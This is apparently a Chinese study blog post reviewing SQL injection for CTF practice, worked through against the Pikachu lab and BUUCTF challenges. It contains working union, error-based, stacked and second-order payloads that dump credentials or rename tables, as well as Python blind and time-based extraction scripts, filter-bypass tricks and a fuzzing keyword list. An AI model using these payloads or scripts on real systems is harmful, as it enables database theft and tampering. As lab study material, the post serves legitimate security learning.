SQL注入复习

SQL注入基础复习

做到了有关SQL注入的题,这是我学习的第一个知识点,好多东西发现有点忘记了,现在需要复习一下

SQL基础知识

一般来说我们也不太需要掌握很深的SQL知识,稍微复习一下增删改查

的增(create)删(drop)改(alter)查(show):

create database test;  #创建一个名为test的数据库                            
drop   database test;  #删除名为test的数据库
alter  database test CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; #把test数据库的字符编码改为utf8mb4,排序规则改为utf8mb4_unicode_ci
show   databases;  # 展示所有的数据库名字 

的增(create)删(drop)查(show):

CREATE TABLE users (
    id INT PRIMARY KEY,
    name VARCHAR(255),
    email VARCHAR(255)
);# 创建一个users数据库,有id,name,emai三个字段
drop table users; #删除users数据库
show tables;#  展示该数据库下的所有表的名字

对表的修改,就是对表中的字段的增(add)删(drop)改(change)查(show):

alter table users ADD COLUMN phone VARCHAR(20); # users表增加一个phone字段,类型为varchar(20)               
alter table users DROP COLUMN phone;            # users表删除phone字段                  
alter table users CHANGE phone newphone varchar(25);#users表的phone字段名修改为newphone,数据类型为varchar(25)
show COLUMNs from users                         #展示users表的所有字段                    

数据记录的增(insert into)删(delete)改(update)查(select)

insert into users (id ,name,email,newphone) VALUES (1,"jack","123456@qq.com",123456); 
# users表插入一条数据,前面括号内是字段名,后面括号是要插入的具体的内容
delete from users where id =2;
# 删除 users中id字段值为2的那一条记录,where后面跟条件
update users set name='helloworld' where id=1;
# 修改id字段为1的数据,把它的name字段的值修改为hellowrold
select id ,name from users where id=1;
#查看user表中,id字段值为1的数据的id,name字段的值,

漏洞基础知识

SQL注入产生的原因是后端没有过滤前端传递的参数,直接将其拼接到SQL查询语句中,造成漏洞,SQL注入的类型比较多,这里我就以pikachu靶场和一些题目,按执行效果分类漏洞,复习相关知识

联合查询注入

联合查询是合并两个表查询的结果,将一个表的结果追加到另一个表的结果,关键词为union

联合注入也分数字型和字符型

字符型
漏洞表现

数字型pikachu靶场源码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

重点是这几句:

$name=$_GET['name'];
$query="select id,email from member where username='$name'";
$result=execute($link, $query);

可知,后端将从前端接受的$name变量,未作任何处理,直接拼接到SQL查询语句中并执行,

在比赛中看不到源码,我们就可以在正常查询的语句里的变量后,插入一个“ ‘ ”,看看是否会报错,如果报错,证明前端接受的变量是直接插入在SQL语句中的,如:

在这里插入图片描述
可以看到,现在是正常查询,返回的结果也是正常的,如果我们输入的是 kobe’ ,

在这里插入图片描述
sql语句就变为了:

select id,email from member where username='kobe'';

很明显语句结尾有一个" ’ "没有闭合,就产生了上面的报错信息,由此可以证明,这里有SQL注入漏洞,有数据回显且没有过滤union,就可以判断为联合查询注入,

利用方法及相关知识

1.判断出是联合注入后,我们要先判断后端sql语句中查询了数据库表的几个字段union前后两个查询语句的查询字段的数目不相同,也会报错导致注入不成功, 我们可以利用order by关键字 ,原理如下:

order by 原本是指定排序规则的,如果后面跟数字,就指定基于第几列为排序查询到的数据的规则,例如在一次正常查询:

select * from users;

在这里插入图片描述

如果改为

select * from users order by 1; #基于第一个字段id,来排序数据

在这里插入图片描述

原本在最后的数据现在在最前面展示,所有查询的数据根据第一个id字段来排序了,order by 后面跟的数字不能大于查询的字段数,否则就会报错,因此我们可以从order by 1 开始,逐渐增加,增到报错时便可判断出查询字段数

利用payload如下
在这里插入图片描述
这样构造注入,后端查询的sql语句就会变为:

select id ,email from member where name='kobe' order by 2#'

我们输入的单引号是为了闭合前面的单引号, #是为了注释掉原本语句结尾的单引号,让查询语句正常执行,可以看到上面也是返回了正常的结果, 把2改为3

在这里插入图片描述

有报错,这个报错就说明3超出了查询的字段数,所以可以得出后端语句查询2个字段

2.然后输入下面这句, 查看哪些字段有回显

kobe' union select 1,2#

在这里插入图片描述

可以看到,两个字段都回显,由此可以开始正式的注入,在正常的查询后面,利用union注入我们的自己的sql查询,查询其它我们想要的数据

3.注入流程为:获取(1)数据库名—> (2)获取表名—> (3)获取字段名 —>(4)获取想要的数据

所需知识复习:

mysql5.0版本开始,就有一个自带的information_schema库,存储了所有的数据库名、表名和字段名,存储位置如下:

所需信息数据库数据表字段
所有数据库名information_schemaschemataschema_name
所有表名information_schematablestable_name
所有字段名information_schemacolumnscolumn_name

(1)获取数据库名

kobe' union select 1,group_concat(schema_name) from information_schema.schemata#

group_concat可以把所有的查询结果放在一起,因为有时题目不一定会返回所有结果,可能只返回查询到的第一行

在这里插入图片描述

(2)获取表名

kobe' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

database()可以获取当前所使用的数据库名称,where条件过滤后能获取当前数据库的所有表

在这里插入图片描述

(3)获取users表下的所有字段名

kobe' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

在这里插入图片描述

(4)获取users表的username,password两个字段的信息

kobe' union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

数字型

靶场源码(稍作修改)

f(isset($_GET['submit']) && $_GET['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_GET['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

重点也是:

$query="select username,email from member where id=$id";

比赛中看不到源码,在url中看到“/?id=1”时,并不能确定是数字型还是字符型,我们要在前端输入:

1' and 1=1#

查询的sql语句变为:

select id,email from member where id =1' and 1=1#

这样一来,很明显有一个单引号没有闭合,输入后就会引起报错,就证明是数字型,

在这里插入图片描述

如果是字符型,sql语句会变为:

select id,email from member where id ='1' and 1=1#'

可知,这样一来,语句正常不会报错,可以判断是字符型

与字符型不同的是,sql语句中的变量两边没有引号,注入其实更方便,直接输入

1 union select group_concat(username), group_concat(password) from users#

在这里插入图片描述

搜索型

靶场关键源码:

$query="select username,id,email from member where username like '%$name%'";

跟字符型类似,我们只要闭合’% ,构造如下语句即可:

k%'union select 1, group_concat(username), group_concat(password) from users#

盲注

在sql注入过程中,如果注入的查询的数据不能回显到前端页面,前端只有原本的sql语句执行成功或失败两种回显,这时我们就需要不断通过一些函数进行注入的尝试,称为盲注,盲注分为布尔型盲注和时间型盲注

布尔型
漏洞表现
if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    //mysqi_query不打印错误描述,即使存在注入,也不好判断
    $result=mysqli_query($link, $query);//
//     $result=execute($link, $query);
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

如上面的源码所示,如果不回显错误描述,直接加单引号就无法判断出是否有注入,这时我们就要像上面判断字符型还是数字型一样,添加条件判断,来判断后端是否有把我们前端输入的变量直接插入到sql语句中, 在前端输入

kobe' and 1=1#

在这里插入图片描述

可以看到,仍然可以输出信息,把后面的条件改为1=2,那么where后面的整体逻辑表达式为假,无法查询数据

在这里插入图片描述

结合1=1,和1=2这两中情况的回显,就可以判断存在sql注入

利用方法及相关知识

利用方法也是用and插入一个条件判断猜测信息,如果返回正常页面,就代表我们猜测正确

盲注中常用的函数:

函数功能
length(str)返回字符串str的长度
ascii(char)返回字符char的ascii码
ord(char)与ascii的作用相同
substr(str,start,len)str中,从start位置开始,长度为len,截取子字符串
left(str,len)str中,从左侧第一位开始截取len长度的子字符串
right(str,len)与left相反
if(conditon,true,false)condtiton为真,执行true,否则执行false

猜测流程:猜数据库名长度—>猜数据库名字—>猜数据库表的个数—>猜所有数据表的长度,再猜名字—>找到想要的表,猜字段个数—>猜所有字段的名字长度,再猜字段名—>爆破想要的字段内容

先尝试猜数据库名长度,输入:

kobe' and length(database())=1#

在这里插入图片描述

果然不对,数字逐渐增加到7:

!在这里插入图片描述

返回了正确的信息,猜测正确,数据库长度为7,如果要猜名字,ascii码表的很多字符就要一个一个去猜,**手动非常麻烦,我们可以借助脚本来爆破,**由于ascii码表的字符排列有序,我用了二分搜索提高效率,比之前的顺序搜索快了两分钟多(靶场盲注的整个过程),如果不time.sleep(0.2),快了七分钟

import time
import requests
import urllib.parse as up

"""针对皮卡丘靶场的自动化盲注脚本,不同环境要改不同的url和判断语句,还要针对不同的过滤修改sql语句"""

# pikachu靶场的网站url固定的结尾
url_end = f"&submit=%E6%9F%A5%E8%AF%A2"
url_target = "http://localhost:8001/pikachu/vul/sqli/sqli_blind_b.php?name=kobe'"
# 回显成功的判断语句
str_judge = 'your uid'


def make_new_sql(sql):
    """把sql的最后一个的=换成<"""
    """需要根据自己的sql注入语句修改"""
    return "<".join(sql.rsplit("=", 1))


def condition(res):
    if str_judge in res.text:
        return True
    else:
        return False


def get_column_info():
    """获取目标字段的信息"""
    while True:
        column = input("要查询哪个字段的信息?(q退出)\n")
        if column != 'q':
            num=0
            table = input("该字段在哪个表中?\n")
            # 获取信息的个数
            for i in range(30):

                sql = f" and (select count({column}) from {table} )={i}#"
                payload=url_target+up.quote(sql)+url_end
                res=requests.get(url=payload)
                if str_judge in res.text:
                    num=i
                    break
            print(f"{column}字段有{num}条信息")
            # 逐条信息爆破
            for i in range(num):
                length = 0
                name = ''
                #获取信息长度
                for j in range(1,101):
                    sql=f" and (select length({column}) from {table} limit {i},1 )={j}#"
                    payload=url_target+up.quote(sql)+url_end
                    res=requests.get(url=payload)
                    if str_judge in res.text:
                        length=j
                        break
                print(f"第{i+1}条信息长度为{length}")
                #报破信息
                for k in range(1,length+1):
                    left,right=33,127
                    while left<right:
                        mid=(left+right)//2
                        sql=f" and ord(substr((select {column} from {table} limit {i},1),{k},1))={mid}#"
                        payload=url_target+up.quote(sql)+url_end
                        res=requests.get(url=payload)
                        if condition(res):
                            name+=chr(mid)
                            break
                        else:
                            sql = make_new_sql(sql)
                            payload = url_target + up.quote(sql) + url_end
                            res = requests.get(url=payload)
                            if condition(res):
                                right = mid
                            else:
                                left = mid
                print(f"第{i+1}条信息为:{name}")

        else:
            break


def get_columns_name(columns_nums_dict):
    print("----开始尝试各个表的各个字段名,筛选有用信息----")
    for tb_name, nums in columns_nums_dict.items():
        for i in range(nums):
            # 爆破字段名长度
            name_length = 0
            name = ''
            for j in range(30):
                sql = f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='{tb_name}' limit {i},1)#"
                payload = url_target + up.quote(sql) + url_end
                res = requests.get(payload)
                if str_judge in res.text:
                    name_length = j
                    break
            for k in range(1, name_length + 1):
                left, right = 33, 127
                while left < right:
                    time.sleep(0.2)
                    mid = (left + right) // 2
                    sql = f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and  table_name='{tb_name}' limit {i},1) ,{k},1))={mid}#"
                    payload = url_target + up.quote(sql) + url_end
                    res = requests.get(url=payload)
                    if condition(res):
                        name += chr(mid)
                        break
                    else:
                        sql = make_new_sql(sql)
                        payload = url_target + up.quote(sql) + url_end
                        res = requests.get(url=payload)
                        if condition(res):
                            right = mid
                        else:
                            left = mid
            print(f"{tb_name}表的第{i + 1}个字段名为{name}")


def get_tbname_nums_dict(tb_num, tb_name_list):
    """获取表和对应字段数的字典"""
    print("----开始测试各个表的字段数----")
    columns_dict = {}
    for i in tb_name_list:
        for j in range(0, 30):
            sql = f" and {j}=(select count(column_name) from information_schema.columns where table_name='{i}' and table_schema=database())#"
            payload = url_target + up.quote(sql) + url_end
            r = requests.get(payload)
            if str_judge in r.text:
                print(f"{i}表有{j}个字段")
                columns_dict[i] = j
                break
    return columns_dict


def get_tbs_name(tb_num):
    tbs_name = []
    for i in range(tb_num):
        # 先测试个表名字的长度
        tb_name = ''
        tb_name_length = 0
        for j in range(1, 30):
            sql = f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#"
            payload = url_target + up.quote(sql) + url_end
            r = requests.get(payload)
            if str_judge in r.text:
                tb_name_length = j
                print(f"第{i + 1}张表名字长度为{tb_name_length}")
        # 得到长度后再开始测试名字
        for k in range(1, tb_name_length + 1):
            left, right = 32, 128
            while left < right:
                mid = (left + right) // 2
                sql = f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{k},1))={mid}#"
                payload = url_target + up.quote(sql) + url_end
                res = requests.get(url=payload)
                if condition(res):
                    tb_name += chr(mid)
                    break
                else:
                    sql = make_new_sql(sql)
                    payload = url_target + up.quote(sql) + url_end
                    res = requests.get(url=payload)
                    if condition(res):
                        right = mid
                    else:
                        left = mid
        tbs_name.append(tb_name)
        print(f"第{i + 1}张表名字为{tb_name}")
    return tbs_name


def get_tb_num():
    """测试数据库的表的数目"""
    tb_num = 0
    print(f"----开始测试数据库中有几张表----")
    for i in range(1, 200):
        sql = f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#"
        payload = url_target + up.quote(sql) + url_end
        r = requests.get(payload)
        if str_judge in r.text:
            tb_num = i
            print(f"----数据库共有{tb_num}张表")
    return tb_num


# def get_db_name(db_length):
#     """获取数据库名"""
#     print("----开始测试数据库名----")
#     db_name = ""
#     for i in range(1, db_length + 1):
#         left, right = 32, 128
#         while left < right:
#             time.sleep(0.2)
#             mid = (left + right) // 2
#             sql = f" and ord(substr(database(),{i},1))={mid}#"
#             payload = url_target + up.quote(sql) + url_end
#             res = requests.get(url=payload)
#             if condition(res):
#                 db_name += chr(mid)
#                 break
#             else:
#                 sql=make_new_sql(sql)
#                 res = requests.get(url=payload)
#                 if condition(res):
#                     right = mid
#                 else:
#                     left = mid
#     print(f"----数据库名为{db_name}")
#     return db_name


# def get_db_length():
#     # 获取数据库名字长度
#     global url_end
#     print("----开始尝试数据库名的长度----")
#     num = 1
#     while True:
#         # 注入的字符串要转为url编码
#         db_payload = url_target + up.quote(" and (length(database())=%d)#" % num) + url_end
#         r = requests.get(db_payload)
#         if str_judge in r.text:
#             db_length = num
#             print(f"----数据库名长度为:{db_length}")
#             return num
#
#         else:
#             num += 1


if __name__ == '__main__':
    # db_name_length = get_db_length()
    # db_name = get_db_name(db_name_length)
    tb_num = get_tb_num()
    tbs_name_list=get_tbs_name(tb_num)
    #tbs_name_list = ['httpinfo', 'member', 'message', 'users', 'xssblind']
    tbname_columns_dict=get_tbname_nums_dict(tb_num=tb_num, tb_name_list=tbs_name_list)
    #tbname_columns_dict = {'httpinfo': 6, 'member': 7, 'message': 3, 'users': 4, 'xssblind': 4}
    get_columns_name(tbname_columns_dict)
    get_column_info()

在这里插入图片描述

时间型

时间型盲注就是不管你输入的结果是否正确,都只有一种回显

pikachu靶场源码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    }else{

        $html.="<p class='notice'>i don't care who you are!</p>";
    }
}

这里看到,不管输入啥,返回的都是一样的信息,我们需要用其他方式判断是否存在注入,注入语句:

kobe' and sleep(2)#

mysql中的sleep函数会使语句执行停滞一段时间,然后返回0,因此也是可以注入到条件判断中,在pikachu打开F12,输入该语句:

在这里插入图片描述

再看看正常输入kobe的相应时间:

在这里插入图片描述

可以看到相应的时间相差2秒,所以我们输入的变量会被插入的sql语句中执行,存在sql注入漏洞,盲注脚本思路与布尔型相同,就是判断方式从判断是否有正确回显改为判断响应时间是否大于你设定的时间即可,比赛中比较少出这种题(会对服务器造成很大负担),这里偷懒只写了爆破数据库名,用二分法失败了,只能暴力搜索,我也不知道为啥,求大佬告知原因

import time
import requests
import urllib.parse as up
from datetime import datetime

url_end = f"&submit=查询"
url_target = "http://localhost:8001/pikachu/vul/sqli/sqli_blind_t.php?name=kobe'"





def get_db_name(db_name_length):
    name = ''
    for i in range(1, db_name_length + 1):
        for j in range(48,125):
            sql=f"and if(ord(substr((select database()),{i},1))={j},sleep(2),1)#"
            payload = url_target + up.quote(sql) + url_end
            start = datetime.now()
            res = requests.get(url=payload, timeout=3)
            end = datetime.now()
            sec = (end - start).seconds
            if sec >= 2:
                name+=chr(j)
                break
    print(name)
    
def get_db_name_length():
    for i in range(30):
        sql = f" and if((select length(database()))={i},sleep(2),null)#"
        payload = url_target + up.quote(sql) + url_end
        start = datetime.now()
        res = requests.get(url=payload, timeout=3)
        end = datetime.now()
        sec = (end - start).seconds
        if sec >= 2:
            print(f"数据库名长度为{i}")
            return i


if __name__ == '__main__':
    db_name_length = get_db_name_length()
    get_db_name(db_name_length)

在这里插入图片描述

异或盲注

当我们判断出是sql盲注,但是过滤了禁用了and,or两个关键字,这时我们就可以使用xor 或^来进行异或注入

异或规则—>相同为0,相异为1

1^10
1^01
0^00
0^11
‘a’^00

sql特性:字符会先转为数字0,再和0异或,结果就是0,利用这个特性进行盲注,拿pikachu的数据库先试试异或的效果

这里尝试的是字符型,如果是数字型,拿0来异或还是1都没有大的区别

在这里插入图片描述

在异或的右边,p的ascii码是112,所以右边条件为假,值为0,左边是字符串,会转为0来异或,异或后整体结果就为真,但我不知道为什么会返回所有结果,难道条件变为了永真式?

同理,当右边的条件为真时,异或结果为假,返回空

所以我们也可以利用这个来写脚本盲注,也是拿pikachu靶场来,由于pikachu是查询的结果大于1行也返回错误,所以我加了个limit


import requests
import urllib.parse as up

url_end = f"&submit=%E6%9F%A5%E8%AF%A2"
url_target = "http://localhost:8001/pikachu/vul/sqli/sqli_blind_b.php?name=kobe'"
#注入的sql语句为真时,整体条件为假,要修改判断语句
str_judge = '您输入的username不存在,请重新输入'


def make_new_sql(sql):
    """把sql的最后一个的=换成<"""
    """需要根据自己的sql注入语句修改"""
    return "<".join(sql.rsplit("=", 1))


def get_db_name(db_name_length):
    name = ''
    for i in range(1, db_name_length + 1):
        left, right = 32, 128
        while left < right:
            # print(left, right)
            mid = (left + right) // 2
            sql = f"^(ord(substr((select database()),{i},1))={mid}) limit 0,1#"
            # print(sql)
            payload = url_target + up.quote(sql) + url_end
            res = requests.get(url=payload, )
            if str_judge in res.text:
                name += chr(mid)
                break
            else:
                sql = make_new_sql(sql)
                payload = url_target + up.quote(sql) + url_end
                res = requests.get(url=payload, )
                if str_judge in res.text:
                    right = mid
                else:
                    left = mid
    print(f"数据库名字为{name}")


def get_db_name_length():
    for i in range(30):
        sql = f"^(length((select database()))={i}) limit 0,1#"
        payload = url_target + up.quote(sql) + url_end
        res = requests.get(url=payload)
        if str_judge in res.text:
            print(f"数据库名长度为{i}")
            return i


if __name__ == '__main__':
    db_name_length = get_db_name_length()
    get_db_name(db_name_length)

在这里插入图片描述

报错注入

漏洞表现

当sql语句不合法,后端会把报错信息返回到前端时,就可以利用报错注入,像前面的联合注入页面,但如果没有过滤union或select,尽量使用联合注入

我们就拿前面的联合注入靶场来练习

利用方法及相关知识

常用函数

函数功能
updatexml(target, xpath, value)通过xpath表达式,修改target(xml节点)的值为value
EXTRACTVALUE(target, xpath)通过xpath表达式,查询target节点的值

这两个函数,如果xpath表达式不合法,就会报错,报错信息包含xpath的值,因此我们可以把xpath修改为sql注入代码

利用语法:updatexml(1,concat(0x7e,(注入语句)),0) ; extractvalue(1,concat(0x7e,(注入语句)),0x7e))

我们在输入

kobe' and updatexml(1,concat(0x7e,database()),0)#

在0x7e右边,就是我们可以注入sql语句的位置,执行过程中会先执行我们的sql查询语句,再把查询到的结果和0x7e拼接当作xpath表达式,当然是不合法的,这个包含了敏感信息的xpath报错就会返回到前端其他手机等栏目随便输入

在这里插入图片描述

由此可见,返回了我们想要的数据

继续输入:

kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),0)#

在这里插入图片描述

报错信息最多返回32位的信息,有时会造成返回信息不全,利用not in 排除掉已知的表,最后查询字段信息时就用substr等函数来截取字段信息,继续输入:

kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in('httpinfo','member','message'))),0)#

在这里插入图片描述

这样一来,就查询到了我们所需的全部信息,后面查询用类似的方法即可

堆叠注入

堆叠注入就是我们可以在查询语句中注入多个sql代码,其中以";"分隔, 一般题目禁用了union或select可以尝试使用

环境:[强网杯 2019]随便注—>buuctf

题目

在这里插入图片描述

在1后加个单引号,提交

在这里插入图片描述

回显报错信息,可知存在sql注入漏洞,然后要判断是字符型还是数字型,输入

1' and 1=1#;

在这里插入图片描述

正常回显,可以判断是字符型

用order by判断回显字符数,得出是2,但是当我输入1’ union select 1,2#时,

在这里插入图片描述

可以看到,禁了很多函数,最关键的select,where被禁了,前面的方法都用不到了,这就要找其他方法,可以使用堆叠注入或预编译,现在介绍堆叠注入

1.先使用show 关键字来查看数据库结构,输入

1';show tables;  获取当前数据库下的所有表

在这里插入图片描述

可以看到,前面的正常查询,和我注入的show tables都执行了,有两个表words 和 1919810931114514

看看这两个表的字段 ,分别输入:

1' show columns from words;
1' show columns from `1919810931114514` #如果表名为纯数字,使用时要加反引号

words表:

在这里插入图片描述

1919810931114514表:
在这里插入图片描述

可以看到,words表有id和data两个字段,数字表才有我们想要的flag字段,猜测后端查询语句为:

select * from words where id='$id' # 后端查询words表

我们可以偷梁换柱,把words表名改成其他,再把数字表表名改为words,再到前端构造 or 1=1增加条件判断造成任意查询,就可以获得flag,但是纯改名也不行,要把数字表的结构改为符合查询语句的,数字表里没有id字段,因此我们要把flag字段改为id字段,否则就会报错

payload如下:

1';
rename table `words` to `words1`; #1.把words表名改成其他         
rename table `1919810931114514` to `words`;#2.把数字表表名改为words
alter table `words` change `flag` `id` varchar(100);#3.把words表的字段flag字段改为id字段,

上网查阅其他大佬的文章时,发现都还要把id字段设为自增的主键,但我发现直接修改字段名和类型也可以

然后再输入:

1' or 1=1 #

拿到flag

在这里插入图片描述

我还看到了大佬写的另一个堆叠方法,利用handle关键字,制造句柄,绕过select查询数据,大佬文章:

handler 相关语法:

handler users open as hd;#载入指定的数据表“users”并返回句柄“hd”
handler hd read first;#读取数据表首行
handler hd read next;#读取下一行
handler hd close;#关闭句柄

因此我们可以这样构造payload:

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

先制造数字表的句柄,然后利用句柄读取flag也可以

二次注入

漏洞表现

二次注入是指已经被存储的用户输入被读取后,再次进入到 SQL 查询语句中导致的注入,普通注入数据是用户输入直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

通常第一次的输入,后端会用addslashes等函数把用户输入中的敏感字符进行转义(在字符前添加"\"),但是addslashes有一个特点就是虽然它转义了敏感字符,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。后面再次使用数据的查询就使用这个可能带有注入语句的数据,造成sql注入漏洞,利用点在"第二次"的sql查询,所以称二次注入,有一篇大佬的文章写的很明白:

二次注入一般出现在

  • 用户注册和登录
  • 用户修改信息
题目

buuctf—>twice SQL Injection

这一题的注入点就在登录上

在这里插入图片描述

先注册个正常用户名,登录后看到有个info页面,输入info后会把我们的输入中的单引号前加上“\”输出

在这里插入图片描述

这个转义方法,就容易造成二次注入,我们可以在注册时构造恶意用户名,敏感符号在注册的语句中被转义,但存入数据库时确是原始数据,再登录,后端使用查询时就会使用原始的我们构造的注入语句,造成漏洞

所以我们要通过注册来存入sql注入语句,先注册用户名如下,看一下现在的库里的表,密码随意,注册后登录

a' union select group_concat(table_name) from information_schema.tables where table_schema=database() #

在这里插入图片描述

nice,flag就在这个库里,然后再注册一次,看看字段

a' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

!在这里插入图片描述

flag字段,十有八九flag就在这里,再注册一次拿flag

a' union select flag from flag#

在这里插入图片描述

拿到flag

相关过滤和绕过方法

1.大小写绕过

当后端不忽略大小写过滤关键字时,我们可以通过修改关键字内字母大小写来绕过过滤,例如:

sEleCt UseRname fRoM Users WhErE Id=1;

这样的sql语句也可以成功执行,mysql对大小写不敏感

2.双写绕过

后端针对一些关键字进行过滤,只是把关键字(无论大小写)替换为空,我们可以通过"写两次"关键字绕过,修改一下pikachu的源码:

$name = preg_replace("/(union|select|ro)/i", "",$_GET['name']);

如何发现可以使用双写绕过? 我们正常输入 kobe’ union select 1,2#

sql语句会变为:

select id ,email from member where name='kobe' 1 ,2#

很明显,结尾的1,2#是不合规范的,mysql会针对这里产生报错

在这里插入图片描述

我们将注入语句改为:

kobe' ununionion selselectect 1,2#

把union,select,替换为空后,剩下的语句变为 kobe’ union select 1,2#,这样的注入的sql语句可以成功执行,就绕过了

!在这里插入图片描述

3.过滤引号

过滤引号我们可以通过16进制编码来绕过(mysql会自动识别并解码),在数字型可以使用,在pikachu字符型,输入:

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273;# users的十六进制编码

在这里插入图片描述

4.过滤空格

用/**/绕过

在这里插入图片描述

反引号也可以,

在这里插入图片描述

5.过滤or,and

可以用“ || ”代替or, " &&"代替and,^代替xor(异或),或者利用上面的双写,大小写来绕过

6.fuzz测试找出禁用函数

通常比赛中会有很多的过滤,如果我们一个个尝试哪些函数被ban,会有点麻烦,可以利用burpsuite来进行fuzz测试,

具体如何测试可以参考这个大佬的文章:

利用 Burpsuite Fuzz 实现 SQL 注入

我上网搜了一下可用的SQL fuzz字典,如下,可能不太完整,可根据自己的需要补全

length 
Length
+
handler
like
LiKe
select
SeleCT 
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SElect
insert
insERT
INSERT
right
Right
#
--+
information
inFORmatiION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length 
+
REVERSE

ascii 
ASSIC
ASSic
ord
oRd
select 
database
left
right
union
UNIon
UNION
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order 
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
substr
ord

UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`
  
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20
  • 28
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值